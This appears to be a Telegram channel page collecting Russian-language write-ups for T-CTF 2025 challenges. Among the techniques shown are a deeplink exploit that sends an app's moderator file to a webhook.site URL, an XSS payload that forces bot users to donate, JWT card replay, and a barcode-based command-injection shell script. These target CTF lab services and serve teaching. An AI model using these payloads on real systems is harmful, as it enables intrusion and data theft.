Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
🧐 # Навигация и теги для поиска райтапов в канале

1️⃣ прошедшие CTF
#HackOSINT2024, #kubanctf2024, #КубокCTF2024, #RedShift2024, #SpookyCTF2024, #чемпионатпервенство2024, #VolgaCTF_2025 #tctf2025, #КубокCTF2025, #cybercamp2025

2️⃣ CTF платформы
#standoff365, #codebygames, #taipanbyte, #polyctf

3️⃣таски от подписчиков
бот в котором собраны все задачи, где их можно решать и получать баллы: @writeup_ctf_bot
#таск@writeup_ctf

🐱 БОНУС
#рекомендация@writeup_ctf #мемы, #полезное

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

По вопросикам и предложениям пишите мне @freenameruuuu
обнял и жму краба
🦞
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥111
Капибрань.zip
3.6 KB
#network #trick #tctf2025
Капибрань

В задании нужно было найти страну клиента, который делает запросы через различные (9) прокси.

Если отправить какие-либо данные клиенту, он сразу же ответит, из чего можно узнать RTT (round-trip time) между своим сервером и клиентом. Тогда, если вычесть RTT между сервером и прокси, мы получим RTT между клиентом и прокси.

Считая, что оно пропорционально расстоянию от клиента до прокси <=> скорость постоянна, можно найти страну, для которой значения скорости примерно одинаковы, это можно сделать, например, вычислив стандартное отклонение.
Такое решение неидеально, для некоторых стран полученные отклонения могут быть очень близки, и нужно определять страну по RTT вручную.

Например, в моем случае у Испании и Швеции были почти одинаковые значения отклонения, но RTT равнялся ~330/370 мс, если клиент был в Испании/Швеции и передавал данные через 138.199.60.5 (да, можно было просто сделать таблицу с RTT для всех стран и одного/нескольких прокси и искать страны по ней, но это неинтересно).

Автор: @q4927

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍31
Строка.zip
64.5 KB
#misc #network #coding #tctf2025
Капибегущая строка

Для начала надо экспортировать данные из wireshark в csv файл. Кода у меня нет, можно сделать чрез файл-Export Packet Dissections но там будут лишние строки и у меня код перестал работать. Потом надо написать код преобразующий полученные данные в матрицу, чтобы потом анимировать бегущую строку. Краткое пояснение логики "преобразования матрицы" (функция create_address_mapping)

Под "преобразованием матрицы" здесь понимается процесс отображения одномерного набора адресов устройств (например, 0x0100, 0x0101, ..., 0x0140) на двумерную сетку (матрицу) координат (строка, столбец) для визуализации.

Логика этого преобразования следующая:

Получение и фильтрация адресов: Функция получает на вход множество (set) всех уникальных адресов назначения, найденных в CSV-файле. Сначала отбираются только корректные шестнадцатеричные адреса (начинающиеся с 0x).

Числовое представление и сортировка: Отобранные адреса (которые являются строками) преобразуются в целые числа. Это критически важно для правильной сортировки. Если сортировать строки, то "0x10a" может оказаться раньше "0x109". После преобразования в числа адреса сортируются по возрастанию. Теперь у нас есть упорядоченный список адресов от самого младшего к самому старшему.

Итерация и вычисление координат: Скрипт проходит по этому отсортированному списку адресов. Для каждого адреса известен его порядковый номер (индекс) в этом списке (начиная с 0). Этот индекс используется для вычисления координат на сетке:

Номер строки (row) вычисляется как результат целочисленного деления (//) индекса на количество столбцов в сетке (GRID_COLS). Это показывает, сколько полных строк уже "заполнено" адресами перед текущим.

Номер столбца (col) вычисляется как остаток от деления (%) индекса на количество столбцов в сетке (GRID_COLS). Это показывает позицию адреса внутри его строки.

Предположение о порядке: Этот метод расчета координат предполагает так называемый "row-major order" (построчный порядок). Это значит, что сетка заполняется адресами слева направо, сверху вниз, сначала полностью заполняется первая строка, потом вторая и так далее.

Проверка границ: Скрипт проверяет, не превышает ли вычисленный номер строки (row) максимально допустимый (GRID_ROWS - 1). Если превышает, выводится предупреждение, так как адресов оказалось больше, чем ячеек в заданной сетке.

Создание карты: Результатом является словарь (mapping), где каждому исходному шестнадцатеричному адресу (строке) сопоставляется кортеж с его вычисленными координатами (строка, столбец). Эта карта затем используется функцией create_animation для отрисовки пикселя каждого устройства в нужном месте кадра.

Пример:
Допустим, GRID_COLS = 13.

Адрес с index = 0 -> row = 0 // 13 = 0, col = 0 % 13 = 0 -> Координаты (0, 0)

Адрес с index = 12 -> row = 12 // 13 = 0, col = 12 % 13 = 12 -> Координаты (0, 12)

Адрес с index = 13 -> row = 13 // 13 = 1, col = 13 % 13 = 0 -> Координаты (1, 0) (переход на следующую строку)

Адрес с index = 26 -> row = 26 // 13 = 2, col = 26 % 13 = 0 -> Координаты (2, 0)

Таким образом, упорядоченный список адресов "разворачивается" в двумерную сетку заданного размера

Автор: @K1rlII

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍511
extension_71db2d8.zip
4.5 KB
#web #reverse #infra #tctf2025
Капибаза

Нужно было проанализировать код в файле content.js и составить ссылку для получения флага.

Конечный результат:

https://firestore.googleapis.com/v1/projects/t-capybase/databases/(default)/documents/sniffed

Автор: @masm32

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍31
#mobile #tctf2025
Капибивень

Декомпилируем (при помощи jadx, например)
По пути com.epriori.bone.domain.api находим следующий класс:
public interface Api {
    @FormUrlEncoded
    @POST("/api/partners/add")
    Object addPartner(@Field("name") String str, @Field("homePageUrl") String str2, Continuation<? super Response<Unit>> continuation);

    @POST("/api/approve")
    Object approve(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);

    @GET("/api/partners")
    Object getPartners(Continuation<? super Response<List<Partners>>> continuation);

    @GET("/api/posts")
    Object getPosts(Continuation<? super Response<List<Post>>> continuation);

    @GET("/api/unapproved")
    Object getUnapproved(@Query("secret") String str, Continuation<? super Response<List<Partners>>> continuation);

    @POST("/api/reject")
    Object reject(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);
}

Из него мы видим, что есть какой-то secret, который мы не знаем, и есть незащищенные ручки, в частности /api/partners/add с query parameters name и homePageUrl
Попробуем добавить в homePageUrl свой url своего сервера и увидим, что туда ходит бот!

Далее в AndroidManifest.xml:
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:host="supportreport" android:scheme="bone"/>
            </intent-filter>

Гуглим и находим, что в теге data зарегистрирован так называемый deeplink bone://supportreport, который вызывает Intent функцию у нашего приложения:
private final void handleIntent(Intent intent) {
        String action = intent.getAction();
        Uri data = intent.getData();
        if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null) {
            return;
        }
        String queryParameter = data.getQueryParameter("file");
        String queryParameter2 = data.getQueryParameter(ImagesContract.URL);
        if (queryParameter != null && queryParameter2 != null) {
            createTempFileAndSend(queryParameter, queryParameter2);
        } else {
            Toast.makeText(this, "Неверные параметры в deeplink", 0).show();
        }
    }

Отсюда понимаем, что у deeplink есть 2 параметра - ImagesContract.URL = "url" и file. Покопав код и подебажив код, обнаруживаем, что при помощи deeplink мы можем отправлять файлы с локального устройства на любой url. Однако методом тыка обнаруживаем, что бот не ходит на bone:// ссылки изначально. Поэтому добавляем на наш сайт редирект на ссылку bone://, где file это сохраненный SharedPreferences в формате .xml:
<!DOCTYPE html>
<script>
  window.location.href = "bone://supportreport?file=/data/data/com.epriori.bone/shared_prefs/moderator_info.xml&url=https://webhook.site/b125b29d-ab76-403d-b8c1-0a431370b7f3";
</script>

Ну и на наш сервер прилетает ответ:
POST / HTTP/1.1
Host: l.requestcatcher.com
Accept-Encoding: gzip
Connection: Keep-Alive
Content-Length: 340
Content-Type: multipart/form-data; boundary=1875aa9b-8256-4409-95a4-b2781be8c082
User-Agent: okhttp/3.14.9

--1875aa9b-8256-4409-95a4-b2781be8c082
Content-Disposition: form-data; name="file"; filename="moderator_info.xml"
Content-Type: text/plain
Content-Length: 131

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="moderator_key">tctf{b3_CArEFul_W1Th_7H3_dE3P_L1nk}</string>
</map>

--1875aa9b-8256-4409-95a4-b2781be8c082--


Автор: @tonysdx

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1211
#web #tctf2025
Капибальпы

Суть задания, украсть у сноубордистов минуты для скипасов. Сноубордисты создали запрос на минуты (донаты).

Я создал 2 аккаунта, и посмотрел какой заброс отсылается кода ты передаешь минуты. Там обычный ПОСТ запрос, и в нем отсылается JSON:
{“minutes”:1}

Самое банальное что можно сделать поставить -1, вуаля вместо доната ты забираешь время)))

Ну и для получения флага надо получить достижение которое есть в профиле лыжника.

«Укради 100500 минут у сноубордиста»

Отправляем запрос с -100500 и всё готово.

Автор: @serega00731

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🥱7😐21🥴11
1.jpg
63.3 KB
#reverse #tctf2025
Капибарса

Первое пытался сделать перебором (комп умер), второе сделал от обратного.

Финальное число для открытия замка это values = 4143632706302433

Мы берем его и начинаем идти в обратку, вычитаем вначале число, потом делим.

Как я выбирал какое число вычесть?

Вокруг центрального блока есть описание:

1)если к сенсору подставить желтый то (values * 4)+3

И так далее.

Я вычитал все значения и делил на 4 если число получалось целым-> я ставил букву соответствующую и делал дальше, потом отобразил получившиеся символы в обратном порядке и подставил tctf{те самые символы}, флаг сдан.

Автор: @serega00731

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍31
#web #tctf2025
Капиблеф

Переходим на сайт, тестим формы отправки, замечаем, что при методе сброса карт на стол (showdown), отправляются jwt-токены в формате:
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiMyIsInN1aXQiOiJDbHVicyJ9fQ.ovIt-0l5F3f0WA9kmlIaey4y1os2MM2xptPh3x_i3jI","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}

Дешифровав данный токен, видим что в них зашифрованы сбрасываемые карты, в данном случае - 3 крестов и король крестов соответственно.
{
  "iss": "deck",
  "exp": ,
  "nbf": ,
  "iat": ,
  "card": {
    "rank": "K",
    "suit": "Clubs"
  },
  "header": {
    "alg": "HS256",
    "typ": "JWT"
  }
}

Предполагаем, что можно подменять карты, в момент сбрасывания на стол,и действительно.

Вставив 2 раза последний токен, получаем пару королей.
{"action":"showdown","cards":["eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkZWNrIiwiZXhwIjoxNzQ1ODIzMDIxLCJuYmYiOjE3NDUyMTgyMjEsImlhdCI6MTc0NTIxODIyMSwiY2FyZCI6eyJyYW5rIjoiSyIsInN1aXQiOiJDbHVicyJ9fQ.HbRidMO_tZ0jzuj5j0FRRWuXQQjfOyEe3v80Y_sv0xk"]}

Видим, что при каждой раздаче мы можем узнавать jwt-токен и соответствующую карту.

Таким образом, соберем себе словарь из колоды карт в формате:
токен - карта.

Теперь при каждой раздаче, выбираем из собранных карт наиболее высокие комбинации и подменяем jwt-токены (стрит, флеш).

Я победил в основном, используя каре из тузов.

После серии из 13 побед, получаем сертификат, содержащий флаг.

Автор: @konsgory

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍811
#web #debug #tctf2025
Капипаркинг

Наша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть -  дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%"  и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
from barcode import get_barcode_class
from barcode.writer import ImageWriter
from io import BytesIO
import requests
import json

# 1. Генерация штрихкода CODE39 в памяти (без сохранения на диск)
def generate_barcode(code_text):
    Code39 = get_barcode_class('code39')
    code39 = Code39(code_text, writer=ImageWriter())

    buffer = BytesIO()
    code39.write(buffer, options={'format': 'PNG'})
    buffer.seek(0)

    return buffer

# 2. Отправка POST-запроса
def send_barcode_image(image_buffer, filename="barcode.png"):
    files = {
        'image': (filename, image_buffer, 'image/png')
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Referer": "https://t-parking-0a2zxpo1.spbctf.org/",
        "Origin": "https://t-parking-0a2zxpo1.spbctf.org",
        "Accept": "*/*"
    }

    cookies = {
        "__cfduid": "7aec16a4dbb0ab6f8f27fac37264dce0"
    }

    response = requests.post(
        "https://t-parking-0a2zxpo1.spbctf.org/scan",
        files=files,
        headers=headers,
        cookies=cookies
    )

    return response.text

# --- Запуск ---
if __name__ == "__main__":

    while True:
        code = "9%BABAN123%202504191104%"
        command = input("> ")
        # code = code.replace(" ", "")  # Убираем пробелы
        code += command + "%"
        filename = "barcode.png"      # Имя файла только для запроса

        img = generate_barcode(code)

        response = send_barcode_image(img, filename)

        try:
            json_data = json.loads(response)
            parking_fee = json_data.get("parking_fee", "")
            if parking_fee is not None:
                parking_fee_cleaned = parking_fee.replace("\n", " ").strip()
            pretty = json.dumps(json_data, indent=2, ensure_ascii=False)
            print(parking_fee_cleaned)
        except json.JSONDecodeError:
            print("[!] Ответ не является JSON:")
            print(response)


Автор: @Evgeniy12337382

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥4🫡21🥴1🤨1
#misc #telegram #tctf2025
Капиблогер (обе версии)

В боте, который выдается, не нажимать кнопку /start, а изменить тему чата, тогда создастся чат, но не пропишется /start и не выдастся роль.

Автор: @iamgosten

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯111👍1🔥1🤨1
#misc #telegram #tctf2025
Капиблогер (обе версии)

Надо отправить боту сообщение "Конкурсы" без начального "/start" - тогда пользователь не будет авторизован и будет возвращаться везде 0 - то есть мы станем организатором.

Пример кода:
from telethon import TelegramClient
import asyncio

async def main():
    # Create application https://my.telegram.org/apps
    api_id = ...
    api_hash = '...'
    session_name = "wtf"
    client = TelegramClient(session_name, api_id, api_hash)
    await client.start()

    msg = await client.send_message('@capyblogger_XXXXXX_bot', 'Конкурсы')
    print(f'Отправлено сообщение {msg.id} в чат {msg.chat_id}')

    await client.run_until_disconnected()

asyncio.run(main())


Автор: @tonysdx

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥31👍1
#web #tctf2025
Капибординг

Регистрируем аккаунт сноубордиста, в описании таска делается акцент на том, что под донатами сноубордистов, лыжники оставляют гневные комментарии.

Пробуем инжектить скрипт в заголовок доната - отлично есть XSS

Создаем донат, в описание инжектим данный скрипт:
<img src=x onerror="
  let inp = document.querySelector('#donationInput');
  inp.value = 100500;
  inp.dispatchEvent(new Event('input', { bubbles: true }));
  document.querySelector('button[type=submit]').click();
">

После чего лыжники-боты заходят чтобы оставить комментарий, получают ошибку, так как такого пути для картинки не существует. Из за этого выполняется скрипт по триггеру об ошибке, скрипт за лыжника вводит 100500 минут в донате и нажимает на кнопку отправки.

Автор: @wkiseven

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍72🥴2
Кстати, вот здесь еще одна подборка интересных райтапов с #tctf2025 от @SpriteCT, разбираются задачки:

#Капибады
#Капибургер
#Капибокс
#Капибегущая
#Капибаза
#Капипаркинг
#Капиблеф
#Капаре
#Капибаксы
#Капибанк

Не пропустите!

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21